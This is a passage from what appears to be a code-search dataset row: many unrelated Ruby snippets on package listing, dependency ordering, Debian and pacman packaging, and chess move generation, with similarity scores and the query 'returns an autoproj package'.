hash_pkg.empty?\n hash_pkg.each do |pkg, dep|\n if dep.all? {|d| result.include?(d)}\n result << pkg\n hash_pkg.delete(pkg)\n end\n end\n end\n\n result\nend", "def get_packages(adb_opts = {})\n packages = []\n run_adb_shell(\"pm list packages -f\", adb_opts) do |pout|\n pout.each do |line|\n @log.debug(\"{stdout} #{line}\") unless @log.nil?\n parts = line.split(\":\")\n if (parts.length > 1)\n info = parts[1].strip.split(\"=\")\n package = AndroidAdb::Package.new(info[1], info[0]);\n packages << package;\n end\n end\n end\n return packages\n end", "def packages()\n\t\t\t\treturn(PackageList.new())\n\t\t\tend", "def moves\n # create array to collect moves\n final_array = []\n\n\n\n pos = self.move_dirs\n\n pos.each do |optional_pos|\n\n end\n\n # Note do these logics for all the optional positions \n spec_dx = pos[0]\n spec_dy = pos[1]\n\n possible_movements = grow_unblocked_moves_in_dir(spec_dx, spec_dy)\n possible_movements\n # ending\n\n\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n\n # return the final array of moves (containing all possible moves in all directions)\n end", "def move_dirs\n [[0,1], [1,0], [0,-1], [-1,0], [-1,1], [1,1], [1,-1], [-1,-1]]\n end", "def move_dirs\n [[0,1], [1,0], [0,-1], [-1,0], [-1,1], [1,1], [1,-1], [-1,-1]]\n end", "def moves\n moves_arr = []\n move_dirs.each do |dir|\n dx, dy = dir\n moves_arr += grow_unblocked_moves_in_dir(dx, dy)\n end\n moves_arr\n end", "def packages()\n\t\t\t\tpackages = installed_packages()\n\n\t\t\t\tpackagelist = `#{@finkbin} list -n`\n\n\t\t\t\tpackagelist.each_line() { |line|\n\t\t\t\t\tlinearr = line.split()\n\t\t\t\t\tpackages[linearr[0]] = PackageInfo.new()\n\t\t\t\t\tpackages[linearr[0]].name = linearr[0]\n\t\t\t\t\tpackages[linearr[0]].version = linearr[1]\n\t\t\t\t\tpackages[linearr[0]].description = linearr[2]\n\t\t\t\t}\n\n\t\t\t\treturn(packages)\n\t\t\tend", "def move_dirs\n [[-1,1], [1,1], [1,-1], [-1,-1]]\n end", "def dependencies(pkg)\n pkg.resolve_optional_dependencies\n deps_rock_packages = pkg.dependencies.map do |pkg_name|\n debian_name(Autoproj.manifest.package(pkg_name).autobuild)\n end.sort\n\n pkg_osdeps = Autoproj.osdeps.resolve_os_dependencies(pkg.os_packages)\n # There are limitations regarding handling packages with native dependencies\n #\n # Currently gems need to converted into debs using gem2deb\n # These deps dependencies are updated here before uploading a package\n # \n # Generation of the debian packages from the gems can be done in postprocessing step\n # i.e. see convert_gems\n \n deps_osdeps_packages = []\n native_package_manager = Autoproj.osdeps.os_package_handler\n _, native_pkg_list = pkg_osdeps.find { |handler, _| handler == native_package_manager }\n\n deps_osdeps_packages += native_pkg_list if native_pkg_list\n\n # Update global list\n @osdeps += deps_osdeps_packages\n\n non_native_handlers = pkg_osdeps.collect do |handler, pkg_list|\n if handler != native_package_manager\n [handler, pkg_list]\n end\n end.compact\n\n non_native_handlers.each do |pkg_handler, pkg_list|\n # Convert native ruby gems package names to rock-xxx \n if pkg_handler.kind_of?(Autoproj::PackageManagers::GemManager)\n pkg_list.each do |name,version|\n @ruby_gems << [name,version]\n deps_osdeps_packages << debian_ruby_name(name)\n end\n else\n raise ArgumentError, \"cannot package #{pkg.name} as it has non-native dependencies (#{pkg_list}) -- #{pkg_handler.class} #{pkg_handler}\"\n end\n end\n\n # Remove duplicates\n @osdeps.uniq!\n @ruby_gems.uniq!\n\n # Return rock packages and osdeps\n [deps_rock_packages, deps_osdeps_packages]\n end", "def move_dirs\n \n end", "def installed_packages()\n\t\t\t\tinstalledpackagelist = `#{@finkbin} list -i`\n\n\t\t\t\tinstalledpackages = PackageList.new()\n\t\t\t\tinstalledpackagelist.each_line() { |line|\n\t\t\t\t\tlinearr = line.split()\n\t\t\t\t\tinstalledpackages[linearr[1]] = PackageInfo.new()\n\t\t\t\t\tinstalledpackages[linearr[1]].name = linearr[1]\n\t\t\t\t\tinstalledpackages[linearr[1]].version = linearr[2]\n\t\t\t\t\tinstalledpackages[linearr[1]].description = linearr[3]\n\t\t\t\t\tinstalledpackages[linearr[1]].installed = true\n\t\t\t\t}\n\n\t\t\t\treturn(installedpackages)\n\t\t\tend", "def packages()\n\t\t\t\traise(PackageError, \"A full package list is not implemented on OpenBSD\")\n\t\t\tend", "def installed_packages()\n\t\t\t\treturn(PackageList.new())\n\t\t\tend", "def moves\n res = []\n move_dirs.each do |pos| # [0, 1]\n dx, dy = pos # 0, 1\n temp = grow_unblocked_moves_in_dir(dx, dy) # 0, 1 => [[0, 1], [0, 2], [0, 3], [0, 4], [0, 5], [0, 6]]\n res += temp \n end\n res \n\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n\n # return the final array of moves (containing all possible moves in all directions)\n end", "def package_names_for_targets\n package_names_for_targets = []\n target_version_array.each_with_index do |target_version, i|\n if !target_version.nil?\n package_name = package_name_array[i]\n package_names_for_targets.push(package_name)\n else\n package_names_for_targets.push(nil) if allow_nils?\n end\n end\n multipackage? ? package_names_for_targets : package_names_for_targets[0]\n end", "def reorder(old, new)\n changes = find_changes(old, new)\n results = Array.new(old)\n changes.each do |c|\n id = c[0]\n desired_position = c[1]\n current_position = get_position_of_id(id, results)\n if going_up?(current_position,desired_position)\n results = move_everything_down_between(desired_position,current_position,results)\n else\n results = move_everything_up_between(desired_position,current_position,results)\n end\n results = change_position_by_id(id, desired_position, results)\n results = sort_by_position(results)\n end\n return results\n end", "def move_package\n begin\n package_file = File.join(@tmpdir, 'pkg', \"#{@plugin.vendor}-#{@package_name}-#{@plugin.metadata[:version]}.tar.gz\")\n FileUtils.cp(package_file, '.')\n rescue => e\n puts 'Could not copy package to working directory'\n raise e\n end\n end", "def partition_dependencies(dependencies, gem_dir)\n system_specs, local_specs, missing_deps = [], [], []\n if gem_dir && File.directory?(gem_dir)\n gem_dir = File.expand_path(gem_dir)\n ::Gem.clear_paths; ::Gem.path.unshift(gem_dir)\n ::Gem.source_index.refresh!\n dependencies.each do |dep|\n gemspecs = ::Gem.source_index.search(dep)\n local = gemspecs.reverse.find { |s| s.loaded_from.index(gem_dir) == 0 }\n if local\n local_specs << local\n elsif gemspecs.last\n system_specs << gemspecs.last\n else\n missing_deps << dep\n end\n end\n ::Gem.clear_paths\n else\n dependencies.each do |dep|\n gemspecs = ::Gem.source_index.search(dep)\n if gemspecs.last\n system_specs << gemspecs.last\n else\n missing_deps << dep\n end\n end\n end\n [system_specs, local_specs, missing_deps]\n end", "def moves\n # create array to collect moves\n possible_moves = []\n move_dirs.each do |dir|\n possible_moves += grow_unblocked_moves_in_dir(dir[0],dir[1])\n end\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n\n # return the final array of moves (containing all possible moves in all directions)\n possible_moves\n end", "def GetPackages\n ProbeKernel() if !@kernel_probed\n deep_copy(@kernel_packages)\n end", "def draggables\n result = @draggables.dup\n if (not @board.nil?) and (not @board.playing?)\n result << @board.draggables\n end\n result = result.flatten\n result.compact!\n result\n end", "def reorder_items(folder)\n # we have to do a sort_by, not order, because the updated attributes have not been saved.\n changed_folder, new, changed_position, unchanged = folder.items.\n sort_by(&:position).\n group_by do |item|\n if item.folder_id_was != item.folder_id\n :changed_folder\n elsif item.position_was.nil?\n :new\n elsif item.position_was != item.position\n :changed_position\n else\n :unchanged\n end\n end.values_at(:changed_folder, :new, :changed_position, :unchanged).map(&:to_a)\n\n # items that will be in this folder\n unmoved_items = unchanged\n # place items whose positions were specified\n changed_position.map {|item| unmoved_items.insert(item.position - 1, item)}\n # add new items at the end\n unmoved_items = unmoved_items + new\n # calculate positions\n unmoved_items.compact.\n select {|item| item.folder_id_was == item.folder_id}.\n each_with_index do |item, position|\n item.position = position + 1\n end\n\n # items that have moved to another folder\n changed_folder.select {|item| item.folder_id_was != item.folder_id}.each do |item|\n item.position = nil\n end\n end", "def get_files\n\tstart_dir = C_start_dir\n\tstart_dir += \"/\" if start_dir[-1..-1] != \"/\"\n\n\t# collect all file names recursively\n\tres = Dir.glob(\"#{start_dir}**/*\", File::FNM_DOTMATCH)\n\n\t# remove excluded dirs\n\tC_exclude_dir.each{|d| res = res.select{|x| not x[/^#{start_dir}#{d}\\//]} }\n\n\t# get db mod time for compare\n\tt = test_file(db_name) ? File.mtime(db_name).to_s[/[0-9]+\\-[0-9]+\\-[0-9]+\\ *[0-9]+\\:[0-9]+\\:[0-9]+/] : \"\"\n\n\t# remove files from os update\n\n\t# -------------------\n\t# --- dpkg plugin ---\n\t# -------------------\n\t# collect package names changed by os update from dpkg.log\n\td1 = Dir[\"/var/log/dpkg.log*.gz\"]\n\td2 = Dir[\"/var/log/dpkg.log*\"] - d1\n\tlog = \"\"\n\td1.each{|f| log += gunzip(f) }\n\td2.each{|f| log += File.read(f) }\n\t# find package name entries more recent than our db\n\tpkg = log.split(\"\\n\").sort.select{|x|x > t}.select{|x| x[/status *installed/]}.map{|x|x[/status *installed *[^\\:]+/].split[2]} - [\"man-db\"]\n\t# collect file names of all these package names\n\tlist = []\n\tpkg.sort.uniq.each {|x|\n\t\tDir.glob(\"/var/lib/dpkg/info/#{x}*.list\") {|y|\n\t\t\tlist << File.read(y).split(\"\\n\").select{|z| test_file(z)}\n\t\t}\n\t}\n\t# remove list to recursive dir list\n\tres -= list.sort.uniq\n\n\treturn [res, pkg]\nend", "def files\n modules = (changed?) ? tag_configuration_plugins.collect {|p| p.plugin.modules} : \n plugins.collect {|p| p.modules}\n modules << Plugin::JshubCore.instance.modules\n modules.flatten!\n modules.sort!\n modules.uniq.collect { |m| m.name }\n end", "def move_dirs\n [[-1,2], [1,2], [2,1], [2,-1], [1,-2], [-1,-2], [-2,-1], [-2,1]]\n end", "def remove_package_deps(pkg_name)\n if @index[:packages].key?(pkg_name) &&\n !@index[:packages][pkg_name].empty?\n @index[:packages][pkg_name].each do |dep|\n @index[:deps][dep].delete(pkg_name)\n end\n end\n end", "def packages\n # don't include go std packages\n # don't include packages under the root project that aren't vendored\n go_list_deps\n .reject { |pkg| go_std_package?(pkg) }\n .reject { |pkg| local_package?(pkg) }\n end", "def install_order(arr)\n pairs = {}\n queue = []\n sorted = [] \n arr.each do |pair|\n pairs[pair[0]] = pair[1]\n end \n packages = (1..pairs.keys.max).to_a\n packages.each do |package|\n if !pairs.keys.include?(package)\n queue.push(package)\n end \n end \n\n until queue.empty?\n package = queue.shift \n sorted.push(package)\n neighbors = []\n\n pairs.each do |key, value|\n if value == package\n neighbors.push(key)\n pairs.delete(key)\n end \n end\n neighbors.each do |package|\n if !pairs.keys.include?(package)\n queue.push(package)\n end \n end \n end \n\n if packages.length == sorted.length \n return sorted\n else \n return []\n end \nend", "def moves\n possible_moves = []\n\n move_dirs.each do |dir|\n possible_moves.concat(grow_unblocked_moves_in_dir(dir[0], dir[1])) \n end\n\n possible_moves \n end", "def rearrange_and_reship(rake, target_repo, signing_bundle)\n puts \"Retrieving packages...\"\n system(\"#{rake} -s pl:jenkins:retrieve &> /dev/null\")\n\n puts \"Moving the packages into the new layout...\"\n puts \"Moving debs...\"\n rearrange_packages(\"pkg/deb\", \"new_pkg/deb\", target_repo, [\"\"])\n puts \"Moving rpms...\"\n rearrange_packages(\"pkg/el\", \"new_pkg/el\", target_repo, [\"i386\", \"x86_64\", \"SRPMS\"])\n rearrange_packages(\"pkg/fedora\", \"new_pkg/fedora\", target_repo, [\"i386\", \"x86_64\", \"SRPMS\"])\n\n puts \"Moving new_pkg into place on top of pkg...\"\n FileUtils.mv(\"pkg\", \"old_pkg\")\n FileUtils.mv(\"new_pkg\", \"pkg\")\n\n puts \"uber_shipping relocated packages...\"\n ENV[\"SIGNING_BUNDLE\"] = \"../#{signing_bundle}\"\n ENV[\"TAR\"] = \"FALSE\"\n system(\"#{rake} -s pl:jenkins:sign_all pl:uber_ship pl:remote:update_apt_repo pl:remote:update_yum_repo\")\nend", "def dragged\n $dz.determinate(true)\n \n move = true\n \n if ENV['OPERATION'] == \"NSDragOperationCopy\"\n operation = \"Copying\"\n move = false\n else\n operation = \"Moving\"\n end\n \n $dz.begin(\"#{operation} files...\")\n\n Rsync.do_copy($items, ENV['EXTRA_PATH'], move)\n \n finish_op = (move ? \"Move\" : \"Copy\")\n $dz.finish(\"#{finish_op} Complete\")\n $dz.url(false)\nend", "def moves\n moves = []\n\n move_dirs.each do |dir| #[1,1]\n dx, dy = dir #1 0\n new_pos = grow_unblocked_moves_in_dir(dx, dy) #[1,0][2,0][3,0][4,0],[5,0][6,0][7,0]\n moves += new_pos\n end\n\n moves\n end", "def update(packages)\n updated_repo = false\n current_package_filenames = @rp.get_package_files\n future_package_filenames = Array.new\n packages.each do |pkg_name, pkg_objs|\n pkg_objs.each do |pkg|\n pkg_filename = File.basename(pkg.path)\n future_package_filenames << pkg_filename \n # If the package file does not exist, link it\n unless current_package_filenames.include?(pkg_filename)\n updated_repo = true\n File.link(pkg.path, File.join(@path, pkg_filename))\n end\n end\n end\n\n to_del = current_package_filenames - future_package_filenames\n to_del.each do |file|\n updated_repo = true\n File.unlink(File.join(@path, file))\n end\n @rp.update(packages)\n end", "def scan_for_packages\n # Scan the dropbox\n new_packages = collection.dropbox.find_new_packages\n Rails.logger.info \"<< Found #{new_packages.count} new packages for collection #{@collection.name} >>\" if new_packages.count > 0\n new_packages.each do |package|\n @previous_entries = nil # clear it out in case the last package set it\n @current_package = package\n process_valid_package if valid_package?\n end\n end", "def installed_packages()\n\t\t\t\tpackages = PackageList.new()\n\t\t\t\tpackageregex = /^([^ ]+)-([^- ]+)\\s+(.*)$/\n\n\t\t\t\tinstalledpackageslist = `/usr/sbin/pkg_info`\n\t\t\t\tinstalledpackageslist.each_line() { |line|\n\t\t\t\t\tline.strip!()\n\t\t\t\t\tmatch = packageregex.match(line)\n\t\t\t\t\tif(match != nil)\n\t\t\t\t\t\tname = match[1]\n\t\t\t\t\t\tversion = match[2]\n\t\t\t\t\t\tdescription = match[3]\n\n\t\t\t\t\t\tpackages[name] = PackageInfo.new()\n\t\t\t\t\t\tpackages[name].name = name\n\t\t\t\t\t\tpackages[name].version = version\n\t\t\t\t\t\tpackages[name].description = description\n\t\t\t\t\tend\n\t\t\t\t}\n\n\t\t\t\treturn(packages)\n\t\t\tend", "def access_packages\n return @access_packages\n end", "def access_packages\n return @access_packages\n end", "def moves(*move_dirs)\n possible_moves = []\n\n end", "def chunks\n Dir[File.join(Config.tmp_path, package.basename + \"-*\")].sort\n end", "def InitRemainingPackages\n Builtins.y2milestone(\"Looking for remaining packages\")\n\n file_remaining_packages = Ops.add(\n Installation.destdir,\n \"/var/lib/YaST2/remaining\"\n )\n file_remaining_srcs = Ops.add(\n Installation.destdir,\n \"/var/lib/YaST2/srcremaining\"\n )\n\n # Packages remaining for installation\n if FileUtils.Exists(file_remaining_packages)\n @remaining = Convert.convert(\n SCR.Read(path(\".target.ycp\"), [file_remaining_packages, []]),\n :from => \"any\",\n :to => \"list <map <string, any>>\"\n )\n @remaining = [] if @remaining == nil\n Builtins.y2milestone(\n \"File %1 contains %2 packages\",\n file_remaining_packages,\n Builtins.size(@remaining)\n )\n end\n\n # repositories remaining for installation\n if FileUtils.Exists(file_remaining_srcs)\n @srcremaining = Convert.convert(\n SCR.Read(path(\".target.ycp\"), [file_remaining_srcs, []]),\n :from => \"any\",\n :to => \"list <string>\"\n )\n @srcremaining = [] if @srcremaining == nil\n Builtins.y2milestone(\n \"File %1 contains %2 packages\",\n file_remaining_srcs,\n Builtins.size(@srcremaining)\n )\n end\n\n nil\n end", "def outdated\n remotes = Gem::SourceInfoCache.search(//)\n outdateds = []\n latest_specs.each do |_, local|\n name = local.name\n remote = remotes.select { |spec| spec.name == name }.\n sort_by { |spec| spec.version }.\n last\n outdateds << name if remote and local.version < remote.version\n end\n outdateds\n end", "def filter_yarn_internal_package(all_packages)\n internal_package_pattern = /workspace-aggregator-[a-zA-z0-9]{8}-[a-zA-z0-9]{4}-[a-zA-z0-9]{4}-[a-zA-z0-9]{4}-[a-zA-z0-9]{12}/\n yarn_internal_package = all_packages.find { |package| internal_package_pattern.match(package['Name']) }\n all_packages - [yarn_internal_package]\n end", "def moves\n moves = []\n\n # call move_dirs and generate moves\n move_dirs.each do |x,y|\n moves += valid_positions(x,y)\n end\n moves\n end", "def move_binaries\n Dir.mkdir(RESULT_DIR) unless Dir.exist?(RESULT_DIR)\n changes = Dir.glob(\"#{BUILD_DIR}/../*.changes\")\n\n changes.reject! { |e| e.include?('source.changes') }\n\n unless changes.size == 1\n warn \"Not exactly one changes file WTF -> #{changes}\"\n return\n end\n\n system('dcmd', 'mv', '-v', *changes, 'result/')\n end", "def get_source_movs(path)\n files = []\n Find.find(path) do |filename|\n if !FileTest.directory?(filename)\n if filename =~ MOV_PATTERN\n files << Pathname.new(filename)\n end\n end\n end\n\n files.sort\nend", "def remove_dependencies(package_names, verbose=false)\n\n hard_deps = dependencies.dup\n old_deps = build_local_dependency_list(false)\n\n package_names.each do |pkg_name|\n raise \"'#{pkg_name}' is not a dependency\" if hard_deps[pkg_name].nil?\n hard_deps.delete pkg_name\n end\n\n @dependencies = hard_deps\n rebuild_dependency_list hard_deps, verbose\n\n old_deps.each do |dep|\n next if local_deps.find { |pkg| (pkg.name == dep.name) && (pkg.version == dep.version) }\n say \"Removed package '#{dep.name}' (#{dep.version})\"\n end\n\n save!\n\n end", "def installed_packages()\n\t\t\tend", "def unverifiable_packages\n published_packages.keys.select {|p| !expected_cksums.any? {|m| m[\"relpath\"] == p } }\n end", "def packages_with_advisories\n @packages_with_advisories ||= ReleaseComponent.includes(:package)\\\n .where('errata_id != ? AND errata_id IN (?)', @errata, @errata.release.errata)\\\n .map{|m| [m.package.name, m.package.id]}\\\n .flatten.uniq\n end", "def all_classes_and_modules\n result = []\n ObjectSpace.each_object(Module) { |m| result << m }\n result.sort_by {|m| m.name}\nend", "def dragged\n \n $dz.determinate(true)\n\n count = $items.count\n percent = 0.0\n\n $dz.begin \"Packing #{count} Dir to #{count} txz file...\"\n\n dirs = $items.map do |dir|\n dir = File.expand_path dir\n if not File.directory? dir\n $dz.alert 'Invalid Dir', \"Invalid Dir #{dir}\"\n return\n end\n $dz.percent percent += 5.0 / count\n dir\n end\n\n dirs.compact!\n\n wd = Dir.getwd\n\n for dir in dirs\n path = File.dirname(dir)#.sub(' ', '\\ ')\n name = File.basename(dir)#.sub(' ', '\\ ')\n #$dz.alert name, path\n `cd \"#{path}\" && XZ_OPT=-9e tar --exclude='__MACOSX*' --exclude='*.DS_Store' -cJf \"#{name}.txz\" \"#{name}\"`\n $dz.percent percent += 95.0 / count\n #\"#{dir}.txz\"\n end\n\n Dir.chdir wd\n\n $dz.finish \"#{count} txz created\"\n $dz.url false\nend", "def packages\n @root.xpath('./ns:Shipment/ns:Package').map do |package|\n Package.new(package)\n end\n end", "def update_for\n update_for_items.collect(&:package)\n end", "def delivery_golang_packages\n DeliveryGolang::Helpers.delivery_golang_packages(node)\n end", "def move_dirs\n [\n [2, 1],\n [1, 2],\n [-1, 2],\n [-2, 1],\n [-2, -1],\n [-1, -2],\n [1, -2],\n [2, -1]\n ]\n end", "def unpack_slice!\n app_slice_root = app_dir_for(:root)\n copied, duplicated = [], []\n Dir.glob(self.root / \"**/*\").each do |source|\n relative_path = source.relative_path_from(root)\n mirror_file(source, app_slice_root / relative_path, copied, duplicated) if unpack_file?(relative_path)\n end\n public_copied, public_duplicated = mirror_public!\n [copied + public_copied, duplicated + public_duplicated]\n end", "def altered_files; (modified + added + removed).sort; end", "def os_dependencies\n []\n end", "def extract_dependencies\n FileUtils.cd(working_dir) do\n cmd = [\"require 'yaml';\"]\n cmd << \"dependencies = Merb::BootLoader::Dependencies.dependencies\"\n cmd << \"entries = dependencies.map { |d| d.to_s }\"\n cmd << \"puts YAML.dump(entries)\"\n output = `merb -r \"#{cmd.join(\"\\n\")}\"`\n if index = (lines = output.split(/\\n/)).index('--- ')\n yaml = lines.slice(index, lines.length - 1).join(\"\\n\")\n return parse_dependencies_yaml(yaml)\n end\n end\n return []\n end", "def get_legacy_ingest_list(dirname )\n il = TaskHelpers.get_directory_list( dirname, /^extract./ )\n\n # sort by directory order\n return il.sort { |x, y| TaskHelpers.directory_sort_order( x, y ) }\n end", "def getPackages\n `wget http://prdownloads.sourceforge.net/sourceforge/nagios/nagios-4.0.4.tar.gz`\n `wget http://nagios-plugins.org/download/nagios-plugins-2.0.tar.gz`\n `wget http://garr.dl.sourceforge.net/project/nagios/nrpe-2.x/nrpe-2.15/nrpe-2.15.tar.gz`\n `tar zxf nagios-4.0.4.tar.gz`\n `tar zxf nagios-plugins-2.0.tar.gz`\n `tar zxf nrpe-2.15.tar.gz`\n end", "def unloaded_libraries\n (Boson::BareRunner.all_libraries - Boson.libraries.map {|e| e.name }).sort\n end", "def packages\n return @package_manager if @package_manager\n\n @package_manager = Rosh::PackageManager.new(@name)\n @package_manager.add_observer(self)\n\n @package_manager\n end" ]
[ "0.6401251", "0.6380225", "0.61969227", "0.61969227", "0.60115737", "0.60085106", "0.6004341", "0.59140617", "0.5827262", "0.578119", "0.577118", "0.5768516", "0.5743934", "0.5743934", "0.5685128", "0.566619", "0.56653416", "0.56485325", "0.5611497", "0.56106037", "0.5593413", "0.55835646", "0.5540666", "0.55273014", "0.5526156", "0.55210274", "0.551671", "0.5512467", "0.546056", "0.5445234", "0.54418534", "0.5440985", "0.54318124", "0.54148406", "0.5414055", "0.54120344", "0.54009813", "0.5388066", "0.53840005", "0.53814286", "0.5366781", "0.5366781", "0.53533417", "0.5342257", "0.5322862", "0.5321118", "0.5312244", "0.5308551", "0.53077567", "0.5293512", "0.5284789", "0.52666575", "0.5258517", "0.52381176", "0.5233052", "0.5178156", "0.517451", "0.5174093", "0.517407", "0.5169809", "0.5158283", "0.514702", "0.51412034", "0.5129655", "0.51256865", "0.5123177", "0.51222855", "0.51216894", "0.5100175", "0.5093661", "0.50924766", "0.5092318", "0.506834", "0.506834", "0.506594", "0.50658685", "0.5056577", "0.5056326", "0.50543857", "0.50507885", "0.50420153", "0.5019408", "0.50161684", "0.5013696", "0.49880284", "0.49879482", "0.49709207", "0.4967428", "0.49619442", "0.49587953", "0.49517268", "0.4944052", "0.49381298", "0.49264628", "0.49208802", "0.4920294", "0.49140176", "0.49108946", "0.49088684", "0.49078056" ]
0.66300446
0
returns an autoproj package
def package(package_name) raise RuntimeError, "#{self.class} needs to overwrite package" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def metapackage(name, *packages)\n Autoproj.workspace.manifest.metapackage(name, *packages)\nend", "def package_enabled?(name)\n Autoproj.workspace.manifest.package_enabled?(name, false)\nend", "def package(name)\n Packaged.instance self , name\n end", "def find_autobuild_package(name)\n find_package_definition(name)&.autobuild\n end", "def buildconf_package\n return @buildconf_package if @buildconf_package\n\n vcs = ws.manifest.main_package_set.vcs.to_hash\n @buildconf_package = Autoproj::Daemon::PackageRepository.new(\n \"main configuration\",\n vcs,\n buildconf: true,\n local_dir: ws.config_dir,\n ws: ws\n )\n end", "def package_common(package_type, spec, &block)\n package_name = Autoproj.package_name_from_options(spec)\n\n if Autobuild::Package[package_name]\n current_file = Autoproj.current_file[1]\n old_file = Autoproj.workspace.manifest.definition_file(package_name)\n Autoproj.warn \"#{package_name} from #{current_file} is overridden by the definition in #{old_file}\"\n\n return Autobuild::Package[package_name]\n end\n\n pkg = Autoproj.define(package_type, spec, &block)\n pkg.srcdir = pkg.name\n pkg\nend", "def packages; end", "def output_package(pkg_type)\n case pkg_type\n when 'makeself'\n Packager::Makeself.new(self).package_name\n when 'msi'\n Packager::MSI.new(self).package_name\n when 'bff'\n Packager::BFF.new(self).package_name\n when 'solaris'\n Packager::Solaris.new(self).package_name\n when 'pkg'\n Packager::PKG.new(self).package_name\n when 'mac_dmg'\n pkg = Packager::PKG.new(self)\n Packager::MacDmg.new(pkg).package_name\n when 'rpm'\n Packager::RPM.new(self).package_name\n when 'deb'\n Packager::DEB.new(self).package_name\n else\n raise RuntimeError, \"I do not know how to build a `#{pkg_type}'!\"\n end\n end", "def autoproj_gemfile_path; File.join(autoproj_install_dir, 'Gemfile') end", "def autoproj_gem_home; @private_autoproj || Gem.user_dir end", "def package\n @package ||= Package.initialize_from_path(path: \"#{resource_path}/package\",\n client: @client)\n end", "def prerm\n @package.get_script :prerm\n end", "def package\n @package ||= path.split('/lib/')[0].split('/').last.split('.js').last\n end", "def action_package(type)\n name = prompt('Name : ')\n dest = Automation::Converter.to_unix_path(prompt('Destination : '))\n require REQUIRE_MAP[type] % {name: name}\n\n raise Automation::ConsoleError.new(\"No definition found for package '#{name}'\") unless PACKAGE_CLASS.has_key?(name)\n plugin = PACKAGE_CLASS[name].new\n plugin.package(dest)\n puts \"Packaged '#{type}' - #{plugin.name}\"\n end", "def output_package(pkg_type)\n case pkg_type\n when 'makeself'\n \"#{package_name}-#{build_version}_#{iteration}.sh\"\n when 'msi'\n Packager::WindowsMsi.new(self).package_name\n when 'bff'\n \"#{package_name}.#{bff_version}.bff\"\n when 'pkgmk'\n \"#{package_name}-#{build_version}-#{iteration}.solaris\"\n when 'mac_pkg'\n Packager::MacPkg.new(self).package_name\n when 'mac_dmg'\n pkg = Packager::MacPkg.new(self)\n Packager::MacDmg.new(pkg).package_name\n else # fpm\n require \"fpm/package/#{pkg_type}\"\n pkg = FPM::Package.types[pkg_type].new\n pkg.version = build_version\n pkg.name = package_name\n pkg.iteration = iteration\n if pkg_type == 'solaris'\n pkg.to_s('NAME.FULLVERSION.ARCH.TYPE')\n else\n pkg.to_s\n end\n end\n end", "def access_package\n return @access_package\n end", "def access_package\n return @access_package\n end", "def packages()\n\t\t\tend", "def [](packagename)\n\t\t\t\treturn(packages()[packagename])\n\t\t\tend", "def pkg_binary; \"pacaur\" end", "def autotools_package(options, &block)\n package_common(:autotools, options) do |pkg|\n pkg.depends_on 'autotools'\n common_make_based_package_setup(pkg)\n yield(pkg) if block_given?\n end\nend", "def current_package\n @current_package\n end", "def library; end", "def library; end", "def package\n @options['package']\n end", "def packages\n return @packages if @packages\n\n @packages = resolve_packages.map do |pkg|\n next if ignored?(pkg)\n\n package_set = pkg.kind_of? Autoproj::InstallationManifest::PackageSet\n pkg = pkg.to_h\n local_dir = if package_set\n pkg[:raw_local_dir]\n else\n pkg[:importdir] || pkg[:srcdir]\n end\n\n Autoproj::Daemon::PackageRepository.new(\n pkg[:name] || pkg[:package_set],\n pkg[:vcs],\n package_set: package_set,\n local_dir: local_dir,\n ws: ws\n )\n end.compact\n @packages\n end", "def autorun; end", "def input(pacman_pkg_path)\n control = {}\n # Unpack the control tarball\n safesystem(tar_cmd, \"-C\", staging_path, \"-xf\", pacman_pkg_path)\n pkginfo = staging_path(\".PKGINFO\")\n mtree = staging_path(\".MTREE\")\n install = staging_path(\".INSTALL\")\n\n control_contents = File.read(pkginfo)\n FileUtils.rm(pkginfo)\n FileUtils.rm(mtree)\n\n\n control_lines = control_contents.split(\"\\n\")\n control_lines.each do |line|\n key, val = line.split(/ += +/, 2)\n if control.has_key? key\n control[key].push(val)\n else\n control[key] = [val]\n end\n end\n\n self.name = control[\"pkgname\"][0]\n\n # Parse 'epoch:version-iteration' in the version string\n version_re = /^(?:([0-9]+):)?(.+?)(?:-(.*))?$/\n m = version_re.match(control[\"pkgver\"][0])\n if !m\n raise \"Unsupported version string '#{control[\"pkgver\"][0]}'\"\n end\n self.epoch, self.version, self.iteration = m.captures\n\n self.maintainer = control[\"packager\"][0]\n\n # Arch has no notion of vendor, so...\n #self.vendor =\n\n self.url = control[\"url\"][0]\n # Groups could include more than one.\n # Speaking of just taking the first entry of the field:\n # A crude thing to do, but I suppose it's better than nothing.\n # -- Daniel Haskin, 3/24/2015\n self.category = control[\"group\"] && control[\"group\"][0] || self.category\n\n # Licenses could include more than one.\n # Speaking of just taking the first entry of the field:\n # A crude thing to do, but I suppose it's better than nothing.\n # -- Daniel Haskin, 3/24/2015\n self.license = control[\"license\"][0] || self.license\n\n self.architecture = control[\"arch\"][0]\n\n self.dependencies = control[\"depend\"] || self.dependencies\n\n self.provides = control[\"provides\"] || self.provides\n\n self.conflicts = control[\"conflict\"] || self.conflicts\n\n self.replaces = control[\"replaces\"] || self.replaces\n\n self.description = control[\"pkgdesc\"][0]\n\n if control.include? \"backup\"\n self.config_files = control[\"backup\"].map{|file| \"/\" + file}\n else\n self.config_files = []\n end\n\n self.dependencies = control[\"depend\"] || self.dependencies\n \n if attributes[:no_auto_depends?]\n self.dependencies = []\n end\n\n self.attributes[:pacman_optional_depends] = control[\"optdepend\"] || []\n # There are other available attributes, but I didn't include them because:\n # - makedepend: deps needed to make the arch package. But it's already\n # made. It just needs to be converted at this point\n # - checkdepend: See above\n # - makepkgopt: See above\n # - size: can be dynamically generated\n # - builddate: Should be changed to time of package conversion in the new\n # package, so this value should be thrown away.\n\n if File.exist?(install)\n functions = parse_install_script(install)\n if functions.include?(\"pre_install\")\n self.scripts[:before_install] = functions[\"pre_install\"].join(\"\\n\")\n end\n if functions.include?(\"post_install\")\n self.scripts[:after_install] = functions[\"post_install\"].join(\"\\n\")\n end\n if functions.include?(\"pre_upgrade\")\n self.scripts[:before_upgrade] = functions[\"pre_upgrade\"].join(\"\\n\")\n 